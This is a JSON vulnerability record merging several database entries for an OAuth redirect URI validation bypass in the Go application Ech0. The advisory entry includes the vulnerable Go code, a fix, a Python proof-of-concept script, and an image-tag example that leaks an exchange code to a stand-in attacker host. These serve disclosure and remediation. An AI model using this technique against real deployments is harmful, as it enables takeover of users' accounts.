{"id":"GO-2026-5531","revision":null,"records":[{"revision":"2fcdd391b60b4761b0952d0de21bfcc0","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-79662","aliases":[],"title":"Ech0 before 4.7.3 OAuth Redirect URI Validation Bypass","description":"Ech0 through 4.5.6 contains an OAuth redirect URI validation vulnerability in parseAndValidateClientRedirect (internal/service/auth/auth.go) that compares only the scheme and host of the client-supplied redirect_uri against the admin-configured allowlist, ignoring path, query, and fragment components. The redirect_uri is embedded into the signed state JWT at login time without validation. An attacker can craft a redirect_uri whose host matches an allowed origin but whose path is attacker-influenced; after the OAuth exchange the victim is redirected to that path with a one-time exchange code in the query string. If the code leaks (e.g., via Referer, analytics, or an open redirect on that host), the attacker can trade it at the public POST /api/auth/exchange endpoint for the victim's access and refresh tokens. Fixed in 4.7.3.","state":0,"publishedAt":"2026-08-25T11:33:26.056+00:00","modifiedAt":"2026-08-25T14:51:03.397+00:00","affected":[{"ecosystem":"Vendor product","name":"Ech0","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lin-snow\",\n                    \"product\": \"Ech0\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/lin-snow/Ech0\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"4.7.3\"\n                        },\n                        {\n                            \"version\": \"4.7.3\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N","score":8.8,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","score":8,"severity":"HIGH"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-p64j-f4x9-wq66","https://www.vulncheck.com/advisories/ech0-before-oauth-redirect-uri-validation-bypass"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-79662","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-79662","identifiers":["CVE-2026-79662"]},"retained":false,"historicalAffected":[]},{"revision":"56d68e062cd144d4af406ccab4dffc92","observedAt":"2026-11-18T04:39:22.34+00:00","statement":{"source":"euvd","id":"EUVD-2026-65452","aliases":["CVE-2026-79662","GHSA-m5w8-4879-f4pc"],"title":"Ech0 through 4.5.6 contains an OAuth redirect URI validation vulnerability in parseAndValidateClientRedirect (internal/service/auth/auth.go) that compares only the scheme and host of the client-supplied redirect_uri against the admin-config…","description":"Ech0 through 4.5.6 contains an OAuth redirect URI validation vulnerability in parseAndValidateClientRedirect (internal/service/auth/auth.go) that compares only the scheme and host of the client-supplied redirect_uri against the admin-configured allowlist, ignoring path, query, and fragment components. The redirect_uri is embedded into the signed state JWT at login time without validation. An attacker can craft a redirect_uri whose host matches an allowed origin but whose path is attacker-influenced; after the OAuth exchange the victim is redirected to that path with a one-time exchange code in the query string. If the code leaks (e.g., via Referer, analytics, or an open redirect on that host), the attacker can trade it at the public POST /api/auth/exchange endpoint for the victim's access and refresh tokens. Fixed in 4.7.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N","score":8.8,"severity":null}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-p64j-f4x9-wq66","https://www.vulncheck.com/advisories/ech0-before-oauth-redirect-uri-validation-bypass"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-65452","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 25, 2026, 11:33:26 AM","dateUpdated":"Aug 25, 2026, 2:51:03 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-65452","identifiers":["EUVD-2026-65452","CVE-2026-79662","GHSA-m5w8-4879-f4pc"]},"retained":false,"historicalAffected":[]},{"revision":"ab689e6274364555bcd270934ec4e359","observedAt":"2026-10-25T16:19:04.694+00:00","statement":{"source":"nvd","id":"CVE-2026-79662","aliases":[],"title":"Ech0 through 4.5.6 contains an OAuth redirect URI validation vulnerability in parseAndValidateClientRedirect (internal/service/auth/auth.go) that compares only the scheme and host of the client-supplied redirect_uri against the admin-config…","description":"Ech0 through 4.5.6 contains an OAuth redirect URI validation vulnerability in parseAndValidateClientRedirect (internal/service/auth/auth.go) that compares only the scheme and host of the client-supplied redirect_uri against the admin-configured allowlist, ignoring path, query, and fragment components. The redirect_uri is embedded into the signed state JWT at login time without validation. An attacker can craft a redirect_uri whose host matches an allowed origin but whose path is attacker-influenced; after the OAuth exchange the victim is redirected to that path with a one-time exchange code in the query string. If the code leaks (e.g., via Referer, analytics, or an open redirect on that host), the attacker can trade it at the public POST /api/auth/exchange endpoint for the victim's access and refresh tokens. Fixed in 4.7.3.","state":0,"publishedAt":"2026-08-25T12:16:31.47+00:00","modifiedAt":"2026-08-31T20:50:15.927+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.8,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","score":8,"severity":"HIGH"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-p64j-f4x9-wq66","https://www.vulncheck.com/advisories/ech0-before-oauth-redirect-uri-validation-bypass"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79662","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-601"],"productCriteria":[],"sourceDates":{"published":"2026-08-25T12:16:31.470","lastModified":"2026-08-31T20:50:15.927"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-79662","identifiers":["CVE-2026-79662"]},"retained":false,"historicalAffected":[]},{"revision":"833732146ed34893b9f87a65f0e6567d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-p64j-f4x9-wq66","aliases":["CVE-2026-79662","GO-2026-5531"],"title":"Ech0's OAuth redirect URI validation ignores path component, enables exchange-code theft","description":"## Summary\n\n`parseAndValidateClientRedirect` at `internal/service/auth/auth.go:448` validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at `/oauth/:provider/login` embeds the caller-supplied `redirect_uri` verbatim into the signed state JWT without any validation at login time. Alice submits a crafted `redirect_uri` whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at `POST /api/auth/exchange` for the victim's access and refresh tokens. RFC 6749 §3.1.2 requires exact redirect URI matching.\n\n## Details\n\nValidation at `internal/service/auth/auth.go:448`:\n\n```go\nmatched := false\nfor _, item := range allowed {\n    allowURL, parseErr := url.Parse(strings.TrimSpace(item))\n    if parseErr != nil || allowURL == nil || allowURL.Host == \"\" {\n        continue\n    }\n    if strings.EqualFold(redirectURL.Scheme, allowURL.Scheme) &&\n       strings.EqualFold(redirectURL.Host, allowURL.Host) {\n        matched = true\n        break\n    }\n}\n```\n\nScheme and host compared via `EqualFold`. Path, query, fragment all ignored. An allowlist entry of `https://myecho.example.com/dashboard` matches every `https://myecho.example.com/<anything>` the attacker sends.\n\nLogin flow at `internal/service/auth/auth.go:141` (`GetOAuthLoginURL`) and the handler at `internal/handler/auth/oauth.go:43`:\n\n```go\nredirectURI := ctx.Query(\"redirect_uri\")\nredirectURL, err := h.authService.GetOAuthLoginURL(provider, redirectURI)\n// ...\nctx.Redirect(302, redirectURL)\n```\n\nNo validation at login. The raw `redirect_uri` query parameter is passed to `GetOAuthLoginURL`, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback.\n\nAt callback time, `parseAndValidateClientRedirect(oauthState.Redirect)` fires at `internal/service/auth/auth.go:372` and `:427` inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI.\n\nAfter validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path:\n\n```\n302 Location: https://myecho.example.com/<attacker-path>?code=<one-time-exchange-code>\n```\n\nThe code is valid at the public endpoint `POST /api/auth/exchange` for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim's access token and refresh token.\n\n## Proof of Concept\n\nDefault install with OAuth2 configured. Admin allows `https://myecho.example.com/dashboard` as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host:\n\n```python\nimport requests, urllib.parse, base64, json\nTARGET = \"http://localhost:8300\"\n\n# Admin setup: enable OAuth with one allowed return URL (dashboard).\nowner = requests.post(f\"{TARGET}/api/login\",\n                      json={\"username\": \"owner\", \"password\": \"owner-pw\"}\n                     ).json()[\"data\"][\"access_token\"]\nrequests.put(f\"{TARGET}/api/oauth2/settings\",\n             headers={\"Authorization\": f\"Bearer {owner}\",\n                      \"content-type\": \"application/json\"},\n             json={\"enable\": True, \"provider\": \"github\",\n                   \"client_id\": \"poc-client-id\", \"client_secret\": \"poc-client-secret\",\n                   \"redirect_uri\": f\"{TARGET}/oauth/github/callback\",\n                   \"scopes\": [\"read:user\"],\n                   \"auth_url\": \"https://github.com/login/oauth/authorize\",\n                   \"token_url\": \"https://github.com/login/oauth/access_token\",\n                   \"user_info_url\": \"https://api.github.com/user\",\n                   \"auth_redirect_allowed_return_urls\": [\"https://myecho.example.com/dashboard\"]})\n\n# Alice's link to the victim. Same host, different path.\nfor attacker_uri in [\n    \"https://myecho.example.com/dashboard\",            # control, allowed\n    \"https://myecho.example.com/attacker-chosen-path\", # path bypass\n    \"https://attacker.example/foo\",                    # different host, should also fail\n]:\n    url = f\"{TARGET}/oauth/github/login?redirect_uri=\" + urllib.parse.quote(attacker_uri)\n    r = requests.get(url, allow_redirects=False)\n    loc = r.headers.get(\"Location\", \"\")\n    state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get(\"state\", [\"\"])[0]\n    pad = lambda s: s + \"=\" * (-len(s) % 4)\n    payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(\".\")[1])))\n    print(f\"  redirect_uri={attacker_uri!r}\")\n    print(f\"    login HTTP: {r.status_code}\")\n    print(f\"    state JWT redirect: {payload.get('redirect')!r}\")\n```\n\nObserved on v4.5.6:\n\n```\nredirect_uri='https://myecho.example.com/dashboard'\n  login HTTP: 302\n  state JWT redirect: 'https://myecho.example.com/dashboard'\nredirect_uri='https://myecho.example.com/attacker-chosen-path'\n  login HTTP: 302\n  state JWT redirect: 'https://myecho.example.com/attacker-chosen-path'\nredirect_uri='https://attacker.example/foo'\n  login HTTP: 302\n  state JWT redirect: 'https://attacker.example/foo'\n```\n\nAll three `redirect_uri` values sail through login with no validation; the state JWT carries the attacker-chosen URL verbatim. The first two pass the callback's scheme+host check against the `dashboard` allowlist entry and the server redirects to the attacker-chosen path with the exchange code appended. The third (different host) fails the callback's allowlist check, so it does not land; the point is that no validation occurs at login time, only at callback, and the callback check ignores path entirely.\n\n## Impact\n\nAlice delivers a single link to Bob (phishing email, social-engineering message, embedded redirect in a compromised site). Bob clicks, completes OAuth as himself, and lands on the attacker-chosen path on the legitimate Ech0 host with `?code=<one-time>` in the URL. Three paths to full account takeover follow:\n\n- **Referer leakage.** A single `<img src=\"https://attacker.site/log\">` or `<script src>` on the attacker-chosen path sends the victim's full URL (including the code) to the attacker in the Referer header.\n- **Analytics and third-party scripts.** Any page on the allowlisted host that loads Google Analytics, Sentry, or Segment reports the URL (including the code) to those services. Any attacker with access to those accounts reads the code.\n- **Open-redirect chains.** If any path on the allowlisted host has an open-redirect bug, the attacker targets it and bounces the URL (with the code) to their server.\n\nThe code is trade-in-able at `POST /api/auth/exchange`, which is public. The exchange returns the victim's access_token and refresh_token. Full account takeover follows.\n\nPreconditions: Ech0's OAuth is configured (opt-in), one allowlisted host has any path that leaks URLs, and the attacker reaches the victim with a crafted link. RFC 6749 §3.1.2 exists precisely to prevent this chain.\n\n## Recommended Fix\n\nRequire exact redirect URI matching per the spec. Compare scheme, host, and path together:\n\n```go\nredirectNorm := strings.ToLower(redirectURL.Scheme) + \"://\" +\n                strings.ToLower(redirectURL.Host) +\n                redirectURL.Path\nfor _, item := range allowed {\n    allowURL, parseErr := url.Parse(strings.TrimSpace(item))\n    if parseErr != nil || allowURL == nil || allowURL.Host == \"\" {\n        continue\n    }\n    allowNorm := strings.ToLower(allowURL.Scheme) + \"://\" +\n                 strings.ToLower(allowURL.Host) +\n                 allowURL.Path\n    if redirectNorm == allowNorm {\n        matched = true\n        break\n    }\n}\n```\n\nValidate the `redirect_uri` at login time too, so a malformed value never enters the state JWT:\n\n```go\nfunc (s *AuthService) GetOAuthLoginURL(provider, redirectURI string) (string, error) {\n    if redirectURI != \"\" {\n        if _, err := s.parseAndValidateClientRedirect(redirectURI); err != nil {\n            return \"\", err\n        }\n    }\n    // ... rest unchanged\n}\n```\n\nDocument the exact-match semantics in the admin panel. Every allowlisted return URL needs the full path the front-end lands on.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-05-07T21:30:45+00:00","modifiedAt":"2026-08-27T04:10:27.830496+00:00","affected":[{"ecosystem":"Go","name":"github.com/lin-snow/Ech0","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.4.8-0.20260503040728-a7e8b8e84bd1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-p64j-f4x9-wq66","https://github.com/lin-snow/Ech0/commit/a7e8b8e84bd1e3db090dfb720f2c6c433356b442","https://github.com/lin-snow/Ech0"],"sourceUrl":"https://github.com/advisories/GHSA-p64j-f4x9-wq66","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-p64j-f4x9-wq66","identifiers":["GHSA-p64j-f4x9-wq66","CVE-2026-79662","GO-2026-5531"]},"retained":false,"historicalAffected":[]},{"revision":"2df3ffe3fb65467ca1c17049ba9e587d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5531","aliases":["CVE-2026-79662","GHSA-p64j-f4x9-wq66"],"title":"Ech0's OAuth redirect URI validation ignores path component, enables exchange-code theft in github.com/lin-snow/ech0","description":"Ech0's OAuth redirect URI validation ignores path component, enables exchange-code theft in github.com/lin-snow/ech0","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-08-27T04:10:27.830496+00:00","affected":[{"ecosystem":"Go","name":"github.com/lin-snow/ech0","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.4.8-0.20260503040728-a7e8b8e84bd1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lin-snow/Ech0/security/advisories/GHSA-p64j-f4x9-wq66","https://github.com/lin-snow/Ech0/commit/a7e8b8e84bd1e3db090dfb720f2c6c433356b442"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5531","license":"OSV · upstream source license applies","key":"osv:GO-2026-5531","identifiers":["GO-2026-5531","CVE-2026-79662","GHSA-p64j-f4x9-wq66"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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